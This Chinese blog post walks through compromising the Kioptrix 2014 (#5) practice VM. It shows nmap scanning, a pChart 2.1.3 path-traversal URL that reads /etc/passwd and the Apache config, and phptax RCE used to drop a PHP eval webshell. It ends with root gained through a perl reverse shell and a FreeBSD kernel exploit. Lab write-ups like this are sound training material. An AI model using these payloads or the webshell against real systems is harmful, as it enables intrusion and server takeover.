–Kioptrix: 2014 (#5)

  1. Kioptrix: 2014 (#5)
  2. 部署
  3. 信息收集
  4. 漏洞利用
  5. 提权
  6. 总结

Kioptrix: 2014 (#5)

部署

需要首先卸载原来的网卡,然后再重新安装一块网卡,记得用nat模式。

这些靶场总有一些奇奇怪怪的问题。

信息收集

nmap 192.168.100.0/24 -n -sP -sn

首先还是通过nmpa扫描c段拿到靶机地址

image-20221103155525638

192.168.100.171

然后扫描端口

nmap -A 192.168.100.171

image-20221103155649936

22,80,8080

8080端口是403

image-20221103155723269

image-20221103155737120

80端口有个这个页面,然后开始扫目录。

dirb http://192.168.100.171/

image-20221103155853459

啥也没有

识别一下指纹

whatweb http://192.168.100.171/index.html

image-20221103155948060

通过识别指纹发现有这么个东西,http://192.168.100.171/pChart2.1.3/index.php

image-20221103160044077

感觉就像是一个页面管理或者说是,大多cms后台那种感觉。

随后百度一下pChart2.1.3这个的历史漏洞

其实直接在kali里面搜索也有

image-20221103160649554

漏洞利用

image-20221103160732137

http://192.168.100.171/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd

读取到相关文件

image-20221103160921154

尝试登录ssh,提示连接拒绝。

这里我确实卡住了,我能想到和8080端口的403有关,所以我去查了下有关403的绕过。没用

还是看了看攻略,这里注意,需要结合文件读取的漏洞去读取Apache的配置文件。

http://wiki.apache.org/httpd/DistrosDefaultLayout

用漏洞查看配置文件

http://192.168.100.171/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2f/usr/local/etc/apache22/httpd.conf

image-20221103161816864

找到定义的ua头

用burp修改一下。

image-20221103161930930

image-20221103162113090

随后去访问一下那个phptax

直接搜一下

image-20221103162520526

发现有rce,最后一个,那就去看看。

image-20221103162806119

记得中间的命令需要url编码

image-20221103180605385

image-20221103180611718

这里我尝试使用网上报出来的exp进行攻击,但是试了大概有十多分钟一直没有成功,于是我决定写入一个一句话木马来进行控制。

echo '<?php @eval($_GET['a']);?>' > test.txt

image-20221103183515829

image-20221103183532663

然后改成POST一句话木马,用蚁剑进行连接。(我真是天才啊

image-20221103183855920

img

提权

不过还是无法弹一个nc回来,就用蚁剑的虚拟终端进行提权吧。

首先通过uname -a得知版本信息

image-20221103185130159

FreeBSD ,下载exp,

image-20221103190319520

通过蚁剑上传,然后编译,编译的时候报错说是最后一行没有回车,然后加了个回车之后成功编译,但是

image-20221103190359774

没有用,我估计是,这个蚁剑是通过webshell来执行命令的,和反弹shell并不一样,你web的权限是变不了的。

后面了解到通过perl可以反弹shell回来

image-20221103190447939

那我们就谈一个shell回来

image-20221103190504541

直接使用编译好的okk

成功拿下!

image-20221103190526901

所以正确的方法就是通过prel直接弹shell回来,没必要写一个webshell浪费时间捏。

总结

反弹shell的时候多试几种,然后就是各种细节都得做好才行。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。